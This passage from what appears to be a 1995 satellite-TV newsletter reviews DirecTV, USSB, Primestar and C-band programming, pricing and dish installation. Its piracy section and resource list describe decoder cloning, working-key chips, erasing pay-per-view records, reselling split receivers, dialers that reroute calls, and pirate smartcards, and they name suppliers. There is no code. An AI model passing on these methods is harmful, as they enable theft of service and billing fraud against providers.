million from Dow Jones. RCA has pledged $100 million. RCA
has exclusives rights to manufacture the hardware for the
first 1 million systems. The DSS brand system is owned by
Thomson Consumer Electronics of Paris. Sony will also
manufacture the dish and receiver systems after RCA
sells the first million. They expect to have their system
on the market in June. The $699 list price of the basic
system is currently holding firm, because of demand. Thomson
Consumer Electronics has been offering the systems free to
purchasers of TCE (RCA) widescreen TV's at Sears, Circuit City,
etc. in the Denver, LA, Chicago and Atlanta markets. The Thomson/Hughes
system is unique in offering movies in widescreen format. That
is why the RCA CinemaScreen TV's have not moved well until now.
GM Hughes DBS system launched this past summer and only rolled
out nationally in September. By mid October over 100,000 systems
had been sold. Over 3,000 are now being sold per day and Thomson
has reported sales of over 500,000 systems as of the week before
Christmas. This represents sales 10-15% ahead of projections.
Hughes predicts there will be 3 million systems in use by mid
1996 and 10 million by the year 2000. The break even point is 3
million systems. RCA is currently manufacturing 100,000 systems
/month. GM Hughes is a company which has survived the downsizing
in the defense industry. Of its $14 billion estimated 1994
revenue, 41% is derived from its defense business which includes
Tomahawk cruise missiles. About 37% comes from its automotive
electronics business which includes air bag sensors, car radios
and instrument panels, mostly for GM cars. DirecTV is only part
of the telecommunications division which includes a mobile
cellular business and the leasing of satellite transponders.
When GMH has sold 3 million systems. DirecTV will be a $3
billion/yr business of which $1 billion will be operating
profit.
Programming
Available Programming is conveniently divided between two
separate sources, forcing most consumers to subscribe to both.
The programming carried by DirecTV and USSB is unique to each
and each has a monopoly. USSB supplies ANC (All News Channel),
VH1, Lifetime, Nick, Flix, Cinemax, Cinemax2, Cinemax West,
TMC, TMC West, HBO, HBO2, HBO3, HBO West, Showtime, Showtime2,
Showtime West, MTV, and the Comedy Channel. The Essentials
package for $7.95/month includes Lifetime, the Comedy Channel,
Nick, Nick at Night, MTV, VH-1 and the All-News Channel. A
package of all HBO and Cinemax feeds costs $10.95. A similar
package with all Showtime /TMC channels plus Flix also costs
$10.95. Showtime Plus includes the Showtime/TMC package
together with Flix and the Essentials package for $24.95.
Entertainment Plus includes all USSB channels for $34.95/month.
DirecTV supplies the remaining channels and PPV (pay per view)
programming. All subscribers receive ESPN, the Cartoon channel,
USA, CNN, Trio (family entertainment and news), Headline News,
Discovery, C-Span, TNT, TBS, TNN, TCM (Turner Classic Movies),
Bloomberg Direct (financial news), and MuchMusic (Canadian MTV),
Disney, and Music Choice (formerly Digital Cable Radio) which
consists of 28 channels of CD quality commercial-free genre
music ranging from symphonic to rap.
Personal Choice subscribers may choose 10 additional channels
from E!, the Weather Channel, Newsworld International (Canadian
with BBC), Sci-Fi Channel, Court TV, Family and Travel channels,
C-Span 2, CNN International, the Learning Channel, CNBC, the
Learning Channel, Country Music Television, A&E, or the Encore
multiplex which includes Encore plus six channels dedicated to
love stories, mysteries, westerns, childrens' programming,
action, and true stories. All the above channels are available
in the Total Choice package for $29.95. Channels available б
la carte include Starz for $1.80, Playboy for $9.95 and TV Asia
for $5.95. A new addition is the Golf Channel on channel 304
for $6.95/month.
Subscribers to the sports package currently receive eight
regional sports networks for $7.95/month. These include Home
Team Sports, Home Sports Entertainment, KBL Sports, Pro Am
Sports System, Prime Sports, Prime Ticket, SportSouth and
Sunshine Network. DirecTV says it will expand the number of
regional networks it carries but no definite plans have been
announced. Packages including all NHL and NBA games are also
available. A minimal package which includes only access to
PPV and Bloomberg Direct costs $5.95 per month.
Approximately 54 channels are devoted to PPV movies and
there are preview and special events channels as well.
Approximately 36 movies are available at any given time and
they cost $2.99 each. Subscribers receive a $2.50 credit
per month which may be applied to the cost of any PPV or
special event. DirecTV has just signed an agreement with
Twentieth Century Fox so its films will also be available on
PPV.
DirecTV plans to launch DBS-3 late this summer and it will
add at least 30 more channels. The satellite was originally
scheduled for launch in December but mechanical problems
have caused a delay. The two existing satellites provide a
total capacity of about 175 channels.
Features
The basic $699 system supports only one master TV. That means
that all televisions in the house must be tuned to the same
channel. Unlike cable, it is not possible to watch one channel
in the living room, while the kids watch another in the recroom
and the wife watches yet a different channel in her coven. The
deluxe system consists of two receivers and it supports two
independent television receivers or a TV and a VCR. It consists
of a dual feed LNB mounted on the 18" dish and two receivers.
The cost is $899 plus $650 for the second receiver. Both
receivers have a wideband data port which will supposedly be
used for HDTV. The deluxe receiver includes a slow speed 9 pin
port for future data services and a second set of baseband
audio/video output jacks. Other than these differences and
the ability to subscribe a second receiver at reduced rates,
the two receivers are the same.
Those who wish to record programs must leave the receiver on
the channel to be recorded. It has no ability to change
channels and it cannot be programed to do so or even to
turn on at a certain time. According to Thomson, the ability
of the RCA system to change channels was omitted for
legal reasons. The rights for recording through the on-screen
guide belong to StarSight. Their system is available as a
stand-alone box for cable or over-air use or as an
integrated part of a television, VCR or C-band satellite
receiver. It is expected that the time recording feature
will be added when the legal problems are resolved.
According to a company spokesman, the lack of the recording
feature will not hurt initial sales since purchasers will
be rural and will be more concerned with programming than
with features. For now, those who wish to have two
independently controlled TV's or a TV and a VCR must
purchase the deluxe system. Even then, the second receiver
must be left on the channel to be recorded.
Local channels are not available from either of the DBS
services or C-band. In the case of the DBS services, it
is illegal for them to offer local channels. The FCC
imposed this regulation so that DBS would not compete with
over-air services. DirecTV does offer a package of the net
works including ABC, NBC, CBS, FOX and PBS for $3.95/month.
It is intended only for those in the "white" areas of the
country where over-air reception is not possible. Those who
have subscribed to cable within the last 90 days are not
eligible to receive it, even if over-air reception is
impossible. A loophole is that those who live in an area
where over-air reception is possible may subscribe to the
network package if over-air reception is not of acceptable
quality in their own judgement. Typical problems include
severe ghosting and having reception blocked by mountains
or buildings, To the best of our knowledge, there is no
verification process to determine whether a DBS subscriber
is also a cable subscriber. Those who qualify to subscribe
to the package will receive ABC from NY, CBS from Raleigh,
FOX from Chicago, and PBS from Denver. This package costs
3.95/month.
Both RCA and Primestar receivers include Macrovision copy
protection chips. Neither system employs them at this time.
Their use is dictated by copyright holder (movie studio)
demands. In addition to the studios there is another force
at work which could, in the future, limit the right of
individuals to record programs. A draft paper from the
Information Infrastructure Task Force recommends that
digital transmission be redefined as a type of distribution
like publishing, which should be controlled by the copyright
holders. This proposal, if unchallenged could cause the
Commerce Department to change copyright laws and make the
recording of any programming illegal. All products which
defeat copy protection schemes would become illegal.
The right to purchase and use a VCR is covered by the first
sale doctrine and was won in the Sony Betamax case in the
'80s. Americans currently have the right to record programming
based on both the first sale and fair use doctrines.
If the ability of consumers to record programming is not
supported in the future, for whatever reason, DBS subscribers
will be the first to find out.
The on-screen program guide is a user friendly feature. It
provides program and movie descriptions up to 24 hours in
advance using a dedicated button. There are two favorite
program lists, each of which can store 10 channels. It is
also possible to choose programs by categories which include
sports, movies, specials, series, news, and shopping. Accessing
program information several hours in advance is actually
quite slow, due to memory limitations, but the feature is
still valuable.
Other major features of the system are sound and picture quality.
The sound is of CD quality. Picture quality is superior
to that available on Video CD's. During the fall there were
problems with the system. These include freeze frames, which
caused the picture to freeze for a few seconds, and digital
artifacts during shot changes. At times the picture would break
up, leaving large rectangular colored blobs on the screen.
These problems have decreased considerably during December and
January and are now infrequent. The DSS system is currently
using MPEG-1 and will switch over to MPEG-2 later this year.
This may improve signal quality even more. Changes will be
made to headend encoders and not to subscribers' equipment.
Installation
The two DSS satellites are co-located in geostationary orbit
at 101є west longitude. That is over the equator, south of
Texas. There must be a clear line of sight from the dish to
the satellite. The signals cannot pass through trees, leaves
in summer or buildings. The dish may be mounted behind a
glass window in a patio for example. This can cause reception
problems during extreme weather. It should not be mounted less
than 20 feet from overhead power lines.
The dish may be mounted directly on a 1 1/4" I.D. Schedule
40 (1 5/8" O.D.) preferably galvanized pipe. The system
includes a mounting foot so it may also be mounted on the
side of a structure, on a roof or chimney or patio deck.
The surface must be stationary. Mounting on a roof is
least desirable. A roof mount can cause damage to the roof
and cause leaks. Wind loading can cause hundreds of pounds
of force on the screws securing the mounting foot. Chimney
mounts kits are also available as an option.
The dish must be grounded where it is mounted and the
coaxial cable must be grounded using a grounding block
where it enters the residence. One RG-6 cable is used for
the connection between the dish and receiver. If the cable
will be longer than 112 feet, a TVRO bullet amplifier is
recommended though we have heard of 150 foot runs with no
problem. Keeping the mounting pole or mounting foot plumb is
the key to making dish alignment easy, especially for those
who have no experience installing satellite systems. DSS
uses an on-screen menu system and homing signal to align
the dish. A dish which is not plumb negates the value of
this user-friendly system.
The single best feature of DSS is the setup system. It is
so user-friendly that even a novice can set the dish up
himself. It is also this feature which makes the system
truly portable. No electronic test equipment except a
television receiver is necessary to align the dish.
According to DirecTV, more than 40% of purchasers are
doing their own installations. There is no reason why an
average person cannot install the system. There are no
components which can be harmed or destroyed by a botched
attempt. The worst that can happen is that it might be
necessary to have someone complete the job.
It is economical to install another dish with an LNBF
(Low Noise Block amplifier with Feedhorn) at the cottage
and simply transfer the receiver back and forth. Several
companies are now manufacturing DBS related products.
These include a patio style mount, a roof bubble so the
dish may be aligned from inside the home, and portable DBS
kits which, in conjunction with a Power inverter, allow
the dish to be used nearly anywhere in North America.
The setup menu is a sub menu of the main/options menu. The
dish pointing menu allows the installer to receive elevation
and azimuth settings based on either zip code or latitude and
longitude. Entering the zip code produces a screen which
provides the elevation setting as marked on the LNB support
arm. The azimuth or direction setting is the compass reading
used to point the dish. It is already corrected for magnetic
deviation. When we installed the system in Buffalo, the screen
said to set the elevation to 35° and the azimuth to 220°.
The computer will not calculate latitude settings greater than
55є or less than 20є, corresponding to locations in Mexico and
Canada. Some individuals in those regions who are installing
systems simply project a north to south line on a map to the
closest US town. Then they call the local U.S. Post Office to
get the zip code, claiming that they recently moved there but
can't find their zip code. This will provide the azimuth
information but not the elevation. The elevation setting on
the dish changes approximately 1° per degree of change in
latitude. After the dish has been positioned, the signal
meter menu is brought up. It is an option on the dish pointing
menu. There is a homing signal which starts out as a short
intermittent tone before the signal is locked. As the dish is
zeroed in on the signal, the tone increases in length until it
becomes continuous. When moving the dish it is important to
wait two beeps in order to see and hear the results of the
movement. It is a common error for installers to continuously
move the dish around without waiting. In addition to the audible
tone, the signal meter screen will state how many
degrees and in what direction the dish should be moved. When
we installed our dish the screen said to move it 12є west.
Once the digital signal is locked the screen says "locked
onto signal."
Once the signal is locked on, the system must be fine tuned.
This is done by moving the dish east until the signal is
lost and then to the west. These positions are marked on
the mounting pole. The dish should then be positioned in
the center of these two marks. The same is done with the
elevation setting. Some individuals simply watch the signal
strength meter and obtain the maximum reading. We had a
final signal strength of 85 when we set up our dish.
The set up system allows for a large margin of error. The
original dish settings don't have to be very accurate.
It is because of the homing signal that anyone can easily
do the installation. The installer guide which comes with
the system is very well written and is very helpful. There
is an accessory kit available which includes a videotape
covering installation but we don't believe it is necessary.
It is important to ground the system properly, for safety
and insurance reasons. The only available free programming
consists of DirecTV barker channels and Bloomberg Direct
(business news) on channel 245. Having the board authorized
takes only a few minutes. USSB provides the first month of
programming free.
Primestar
Another option for some of those interested in a dish system
is Primestar. One of the big advantages of Primestar is the
low startup and maintenance cost. It isn't necessary to
purchase their equipment. The rental cost is included in the
monthly fee. Subscribers do not have to pay for future system
upgrades which will include HDTV. Prices for installation and
programming packages vary across the country because they are
set by the individual cable distributors, not Primestar. It is
possible to purchase a Primestar system for approximately $900
but there is no financial reason to. Do-it-yourself installations
are not permitted and range in cost from $149-299.
Primestar was founded in 1990 by GE, Continental Cablevision,
Cox Cable, Westinghouse Broadcasting, TCI, Time Warner, and
Comcast Cable. It was the first quasi DBS service and was
launched on GE's Satcom K-1 Ku-band bird. By 1994 Primestar
had only signed 70,000 customers in 48 states. Until last
year it broadcast 11 analog video plus six audio channels in
the 11.7-12.2 GHz FSS (Fixed Satellite Service) band. Currently,
Primestar uses 14 transponders powered at 47 watts
each. Late last year they swapped out their analog B-MAC
decoders and replaced them with Digicipher 1 decoders.
There are now more than 100,000 Primestar customers.
Primestar Programming Packages
The Economy Pak, for $29.95 is a 30 channel service which
includes CNN, C-Span, Discovery, Cartoon Network, Family
Channel, TLC (The Learning Channel), TBS, TVT, USA, Headline
News, Prime Sports Network (14 regional sports channels),and
where available, the nework stations including ABC, NBC, CBS,
Fox and PBS. The $36.95 Value Pak adds A&E, Country Music TV,
Lifetime, TNN, Sci-Fi Channel, TCM, Weather Channel, and the
Encore multiplex. The Family Pak is a 76 channel package
which includes all of the above and adds three HBO's, two Cine
max channels and Disney East and West. HBO, Cinemax, Disney
TV Japan are also available б la carte for $8.95 each. Prime
Cinema PPV movies cost $4-5 each. X*Press Executive and
X*Press Change, which offer computer delivered news, sports,
stock, and entertainment information are also available for
$59.40/year plus the cost of the computer interface. Primestar
does not yet have contracts with Viacom so it does not offer
Showtime/TMC, MTV and Nickelodeon. In March, Playboy, Starz,
CNNI, QVC, CNBC, and the Golf channels will be added to the
lineup. Other channels are being negotiated as well, including
the DMX music service. Primestar is currently limited to
about 77 channels. A network package from Primestar, for
those who qualify to receive it, costs $5.95.
The dish used by Primestar is approximately 36 inches in diameter
while the RCA dish is 18 inches. This may matter in some
neighborhoods where a dish is considered a blight on the community.
The size of the Primestar dish precludes it from being
mounted on a chimney, the side of a house or patio railing for
example. The system is not portable. While the DSS satellites
operate at 120 watts of power, Primestar operates at 47 watts
so it requires a larger dish. On the other hand it does not
suffer from rain fade problems or the glitches DSS has had.
Primestar does not have an on-screen menu system like DSS does.
It carries the Prevue channel which only provides basic pro
gram information up to 90 minutes in advance. It simply scrolls
through the channels, and displays only channel and program
title. Primestar charges $3.95 for PPV movies and the system
reports monthly purchases via modem, the same way DSS does.
Primestar is somewhat more friendly to those who wish to
record programming. It has several timers which can be used
to program the receiver to change channels at a certain time.
It also has one favorite channel list which can contain any
number of channels. Both systems have data ports though
Primestar currently has data services available.
The service is considering a move from its current medium
power satellite to one or more high power satellites, or it
may choose to add a high power satellite to the one it has
now. Either way is promises to offer 150 channels by 1996.
Primestar uses the Digicipher 1 and the picture appears to
be of slightly higher quality than the DSS picture. The sound
produced by both systems is excellent. Both systems will be
upgraded this year. Digicipher 1 IRD's (Integrated Receiver
Decoders) will be upgraded to the Digicipher II in 1995.
Customers will receive sidecar modules by mail and will
simply plug them in. Digicipher II will allow greater and
higher quality compression so more channels may be carried.
While Primestar is using a proprietary compression system
developed by General Instrument, GI claims that Digicipher
II can be made MPEG II compatible. DSS is currently using
MPEG 1 but they will soon upgrade their system to the new
MPEG II standard. MPEG II is the accepted compression standard.
According to DirecTV the all necessary modifications
will be performed to encoders at the headend.
How DBS may Effect C-Band
C-Band systems receive more than just subscription programming.
There are many channels in the clear (unscrambled) including
Canadian TV channels offering American sitcoms. The Caribbean
Superstation, NASA, Main Street TV, E! the Entertainment Channel,
Court TV, C-SPAN 1 and 2, The Health Channel, Nostalgia,
America's Talking, National Empowerment TV, The Learning Channel,
and lots of religious and home shopping channels are all
available free of charge. With a C/Ku band dish it is possible
to receive at no cost approximately 120 FM stereo radio stations
from across the country. This includes jazz from Chicago, Christian
contemporary from LA, talk radio and nearly any other
existing format. It is also possible to get backhaul feeds of
most TV series. Episodes of these series are uplinked a week or
two before they are broadcast nationally so the cable companies
have time to insert the commercials which will be shown during
broadcast. Dish owners who watch the backhaul feeds see a blank
screen during the time provided for the insertion of commercials.
In addition, there are live news feeds from all across
the country. When there is a disaster anywhere in the world it
is possible to view the live feeds sent to North America by CNN
et al. In addition, local news departments will uplink certain
local clips for other stations across the country. It is interesting
to watch raw news feeds or press conferences in the after
noon and then see the network anchors apply their spin when
they narrate the story on the national news.
Those who purchase additional equipment can receive additional
services. An SCPC receiver costs about $400 and permits users
to listen to approximately 1500 radio services which are delivered
by SCPC (single channel per carrier) at frequencies
lower than those covered by a conventional satellite receiver.
These include syndicated radio programs like Paul Harvey, base
ball games, muzak, etc. Using a short wave receiver in conjunction
with a satellite receiver it is possible to monitor cellular
phone calls. Usually only one side of the conversation
is heard because the other party is on a different frequency.
Other available services include WEFAX (weather fax) RTTY and
satellite data. Using special receivers and paying subscription
fees it is possible to receive services like internet feeds or
real time stock market quotes.
The entertainment programming available by C-band is essentially
the same as that available by DBS but it is considerably
cheaper. A VideoCipher II PLUS decoder and a subscription
is required . There are some regional network affiliates from
places like Denver, Chicago, Raleigh, LA, Dallas, Boston, and
NY which are not available on DBS. This year the Digicipher II
decoder will be introduced. It will be able to decode both
analog and digital signals. This does not mean that the analog
Videocipher II PLUS decoder will become obsolete. There are now
over 2 million subscribed VC II PLUS units and that is not a
market which any programmer would abandon. Current BUD (big
ugly dish) owners and those considering buying one should know
that space is scarce on C-band satellites. Hughes Communications
has just sold the last of its capacity on two of its
satellites, one of which has not been launched yet and there
are several satellites scheduled for retirement in 1995.
The shortage is even filling up Ku band transponders. This is
happening at a time when there are literally hundreds of
programming channels ready to launch.
Transponder space on Galaxy 7 currently costs $180,000 per
month. and because of the shortage, transponders which
would ordinarily cost $50,000 are going for $150,000. The
solution for cable programmers is digital compression. At
4:1 compression it is only necessary to rent 1/4 of a trans
ponder and it is a new technology so compression ratios will
improve even more over time. This will allow even more channels
to be carried per satellite transponder.
Many BUD owners who remember when a $150 Videocipher II was
"the only decoder you'll ever need" and who have upgraded
to a $399 Videocipher II PLUS within the past couple of
years and who now face the prospect of upgrading again to
a Digicipher II in order to receive digital programming
are interested in any alternative they can find. One
example of programming which is available in digital
format but which is not offered to dish owners is the
Encore Multiplex. In addition to Encore, there are six
niche channels devoted to mysteries, westerns, love
stories, action, true stories/dramas and youth programming.
Several companies are betting that consumers will choose
to add DBS receiving equipment to their existing systems
rather than upgrade to Digicipher II. It is likely that
the price of DBS equipment will decrease when Sony starts
manufacturing systems this summer. It is hoped that programming
prices which are now significantly higher than C-band may
decrease slightly as well.
Norsat is manufacturing a C-band/LNBF and so is Pro Brand
International. They are also producing a C/Ku band/LNBF.
These products will allow a BUD owner to continue to use
his dish for all satellite delivered programming without
having to replace his analog satellite receiver with a new
digital/analog model. This will be the first time BUD owners
will have had a choice in what decoding equipment they might
purchase.
Those now contemplating the purchase of a dish system can wait
until Digicipher II is released this year, or they can consider
a big dish with an analog receiver to receive the free programming,
and a DBS system for subscription services. It is
clear that an analog receiver with a Videocipher II decoder
is, by itself, a dated product.
Piracy
While equipment manufacturer General Instrument claims
that the Videocipher II data stream was shut off over a
year ago, it is still being used for some services.
These include regional sports networks including various
feeds from Home Sports Entertainment, Sports Channel,
ADC, Pacific Sports Network, and Sunshine, AMC, Nick E,
Life E&W, WWOR, MTV, Discovery E&W, VH1, CMTV, ESPN E&W,
CNN W, TBS W, WGN, CNBC W, TNT W, TNN W, USA E&W, CHN,
A&E W, Youth (Canadian). These services are still being
transmitted in VCII mode because not all cable companies
have installed VCII PLUS decoders at their headends.
The working keys for these channels change every few days
and they are subject to an on-going ECM (electronic
countermeasure) program so audio is not always available
for all channels.
There is software available on BBS's which allows users
to receive audio and video on these channels. Authorized
seed keys are necessary. The net effect is to clone the
VCII to the decoder which is really using those keys.
EPROM chips loaded with working keys are available for
about $50 and they work until GI extracts the keys from
them and shuts them off. The most practical way to obtain
audio and video for these services is by connecting a modem
to the VCII decoder. Every few days the user can push a
button on his remote control to download the latest keys.
This method has been abandoned by most individual users,
because the long distance charges, hardware upgrades, and
aggravation is not worth the cost. There are some satellite
dealers who still use the system for their customers.
Many of those who still use their VCII boards, employ them
to obtain video-only on PLUS encoded adult channels. There
are several available, ranging from softcore to XXX. They
include Adam & Eve, Cupid, Exxxtasy, LVTN, Network 1, Playboy,
Spice 1, Spice 2, and TV Erotica , Video-only chips are
available and EPROM files are available on many BBS's.
Some individuals pirate the 10 TVN PPV movie services on T3
on an 029 PLUS board by taking a "snapshot" of the RAM at
the start of the month. They watch all the movies they want
to during the month, and then at the end of the month they
reload the data captured at the start of the month. When
the unit is polled for PPV purchases it shows none so they
are not billed. There is a period of approximately 10 days
at the end of the cycle when no movies are watched. Many
individuals misuse the Surewrit 9 test device for this
purpose. We have a file on the BBS called Plusmap.txt
for those interested in studying further.
Oak
Oak encrypted services on Anik include the network feeds
from Detroit, and sports, movie news, and Canadian channels
which offer mostly U.S. programming. Discovery is now Oak
encrypted as well. The Oak board is available in a VCII
cardcage and some sources are selling these for $299. What
they are selling is stock boards which must be subscribed.
In order to clone the board to a working ID, the micro-
processor must be changed to a Mostek. Oak is not subject
to the ECM's which affect the VCII datastream.
B-MAC
There is a relatively new B-MAC product. It is a keypad
which allows users to manually enter working keys instead
of using a modem system to download them. Unlike the
system being sold in Canada, this system does not encrypt
the basic working keys which are for the Hi-Net service.
Individuals may obtain keys from any source, instead of
having to rely on one supplier. Keys for special PPV events
are encrypted. The complete U.S. system including decoder,
software and keypad sells for approximately $1600.
DSS
According to RCA, the receiver must be connected to a phone
line. Where the deluxe system is installed, they say each
receiver must be connected to the same phone line via the
1200 baud modem. (The unit also has a 19,200 modem). The
phone line is not used to transmit authorization data to keep
the receiver running. The receiver calls out monthly to report
what pay-per-view movies have been ordered. It is also used
to verify the location where the system is installed.
Some individuals install the units at remote cottages or RV's
where there is no phone. In this case, DirecTV has a backup
system so individuals without phones may order PPV events
manually by calling their 800 number. There is a $2 charge
in addition to the cost of the movie for this service.
As long as the unit is not connected to a phone line, the
system operators have no idea where it is, so it could be
in Canada, Mexico or the Caribbean. Some U.S. individuals who
wish to obtain local blacked out sporting events use a billing
address different from where the unit is installed, for this
purpose. It is still necessary to purchase the NFL, NHL, NBA,
etc. package and the unit must be connected to a phone line.
Mail drops usually advertise under Mail Boxes or Telephone
Answering Services.
Those who purchase a deluxe system including a second receiver,
obtain a programming discount for the second receiver. The primary
receiver pays full price and DirecTV charges $1.95 extra and
USSB charges $1 per month for programming received on the
second receiver. The second receiver receives whatever programming
is subscribed to on the primary receiver.
Some dealers split systems. They place the primary receiver in a
friendly location. The secondary receiver is typically sold to a
Canadian. The dealer charges the full price for programming but
only has to pay $1.95 plus $1. This can amount to a profit of $60 per
month, every month per customer and is more profitable than VCII
piracy was for many of them. We have heard that some installers
have been requested to connect both receivers to the single
phone line during authorization and that they have done that
before splitting them up. We have also heard that some
individuals have told DirecTV during the authorization process
that the primary receiver would be located at their residence
and the secondary would be located at a remote cottage and
they have received the discount but they are not able to order
PPV on the secondary receiver. Some individuals are selling a
unit which intercepts the 800 number the receiver is programmed
to dial and routes the call to a U.S. number where the 800
number call is then placed. These units will be necessary this
fall when the football season begins, at least for those who
don't have a pirate smartcard.
The dialers being sold now cost $125 and Canadian consumers
who purchase them are unaware that hundreds of their
calls are being routed through the same US phone number.
It is only a matter of time before this system is shut down. Advanced
Technologies will soon market a system which allows the user to
set up his own network. Another company is developing a system
which allows the user to manually enter the phone number being
used. The only other problems we have heard regarding this type
of gray market piracy is when foreigners have ordered PPV events
while having the receiver connected to a phone line. In some cases
they have received mail messages to their dishes requesting that
they contact DirecTV to verify that their systems are in the U.S. Then
they have been told that if DirecTV receives calls from a foreign
area code their programming will be discontinued. Some do not
order PPV events for this reason and others order manually.
The major news which occurred just before we went to press is
that the RCA system has just been hacked. According to reliable
sources a nearly six month effort on the part of a U.S.-European
coalition has lead to the compromise of the system. Current
plans involve the issue of 4 tiers of pirate cards. The Blue
card will offer only basic programming and will cost approximately
$150. The next level card will include the subscription
movie channels, the next level card will also include the sports
channels together with packages like the NFL etc. The Gold
card will be a global access card which will allow access to
all services and will include a limit of $500 in PPV program
ming. Note that the pirates are now limiting the amount of
PPV events their customers will receive. To prevent the
pirate card from being pirated it will employ a kill routine
so that once it is inserted into the card slot in the receiver
it may not be removed without dumping the memory.
It will be necessary for those who engage in this type of
piracy to mail in their existing cards or otherwise supply
their unit ID in order to provide necessary information. Each
pirate card will be unique to a specific receiver. Programming
will be done in Canada where it will ostensibly not be
illegal, at least for now. Three Canadian companies will
essentially have franchises and will receive the necessary
hardware/software.
Release of the cards is expected around April, depending on
two factors. The developers want to wait for the release of
the series 10 Videocrypt cards in Europe. At this time the 09
series pirate cards are being heavily ECM'd and a new release
is imminent. One company supplies the encryption algorithms
for both U.S. and European cards. The U.S. card is based on the
09 series card in Europe. U.S. developers don't want their card
reversed and counter ECM'd in the 10 series so they choose to
wait. They also want an installed base of about 800,000 systems
to make it more costly for system operators to issue a new
series of cards. They have said in interviews that it costs them
up to $35/card if they have to issue a new series because of a
breach of security.
In the past, we have sometimes been able to alert our readers
several months in advance to events which would transpire.
When we have done that, some entrepreneurs would immediately
offer products which did in fact not yet exist. This is March 11, 1995
and there is no pirate card for the RCA system available anywhere
at this time nor will there be in the very near future. We will be
allowed to see the system somewhere offshore and we will report
our findings. Do not send money to anyone. We will have more DBS
news next time together with more discussion of the issues
involved. Do not send money to anyone.
Resources
Satellite dish dealers are experts in the reception of satellite
delivered programming. hey are skilled in installation, maintenance
and repair. Many now carry both DirecTV and Primestar.
They are able to discuss the relative merits of each system. A
bonus is that many satellite dealerships are "mom and pop"
type businesses so potential customers are often able to
deal directly with a proprietor who possesses knowledge
and experience. Their biases: Some dealers have not been
able to obtain dealerships for DirecTV and others refuse to
carry it because they see it as a threat to their businesses.
A dealer makes about 1/3 profit or $1000 on the sale of a $3000
full view (C-band) system. The profit on a $699 DirecTV system
is about $120 plus a possible installation charge.
Primestar is a little more lucrative for the dealer than DirecTV.
Primestar dealers profit from the sale or lease of the
systems, from installation (which is mandatory) and they also
earn commissions from programming ordered by their customers.
Commission Salesmen working at consumer electronics stores are
useless as sources of information.
Miniature Satellite Dishes is a Frank Baylin book which
discusses the DirecTV and Primestar systems. There is
information on the basics of satellite communications,
the receive site, a comparison of DBS systems, signal
security, programming, installation instructions, and connecting
components to the system. There is some theory.
The book is a good primer. It is easy to read and it is well
worth the cost for those who want to know more. Baylin
Publications. 303.449.4551.
Orbit is a C/Ku-band programming guide. It includes both
free and subscription programming, audio services and
backhaul feeds. You can see what is available on a C-band
system. The ads for various programmers allow comparison
of the cost and availability of programming with DBS. C-band
programming is substantially cheaper. VCRS decoders are
available at a discount when purchased with programming.
Competing publications include Satellite TV and OnSat. These
are available at most magazine stores.
Satellite Direct is a monthly programming guide. It divides
each 8 hours worth of programming into two facing pages.
It is cleanly laid out and easy to follow. It is available at most
magazine stores.
Consumer Hot Lines. DirecTV's answer line for those who have
questions about programming or equipment is 800.264.4DTV.
USSB's number is 800.633.2820. Those with questions about
Primestar equipment or programming may call 800.932.2007.
Bomarc Services is producing a set of schematics for the RCA
receiver. They are contract reverse engineers and they have
thousands of schematics available for all kinds of electronic
devices including most cable boxes. A catalog costs 4 stamps.
Bomarc Services, Box 1113, Casper, WY, 82602. No phone.
S&J Electronics is one of the few companies left which still
carries VCII test devices. They have video only chips for
those who want to view PLUS video-only on a VCII. They
also have chips which allow VCII users to receive audio/video
on the 28 services which still employ the VCII data stream.
They are also a supplier of B-MAC's and the keypad
system. 201.728.3217.
Triangle Products is the major supplier of Oak decoders.
They are available in VCII card cages for those who don't
wish to use free-standing units. They also carry SureWrit 9,
which is a diagnostic test device for those studying VCII or
029 PLUS technology. They have raw B-MAC's as well.
616.399.6390.
Travel Sat is advertised as a satellite in a suitcase. Included
is a complete RCA DSS satellite system, a 16 inch fibreglass
dish, hardware components made of stainless steel (to prevent
corrosion) and a signal strength meter so a television receiver is
not required to set up the system. They also manufacture a roof
mount for RV's. 800.270.1692.
Eagle Aspen DBS To-Go consists of a plastic case containing a
14 inch dish, a DBS compatible LNBF, hardware kit, compass,
and cables. Options include a power inverter. It is suited for
those who want to mount a permanent dish at the cottage and
simply move the receiver back and forth, or for those who want
a portable satellite system. 404.423.7072.
TCC BBS is an originating source of satellite TV piracy
information, test files and working keys for the VCII. The
sysops are active in answering questions. They are also
knowledgeable in other areas of hacking, electronics and
computers. BBS 809.394.9001.
New Advanced Technologies is another B-MAC supplier, they
have test chips for the VCII and they will soon market a DBS
dialer which will permit the user to set up his own network.
514.458.3063.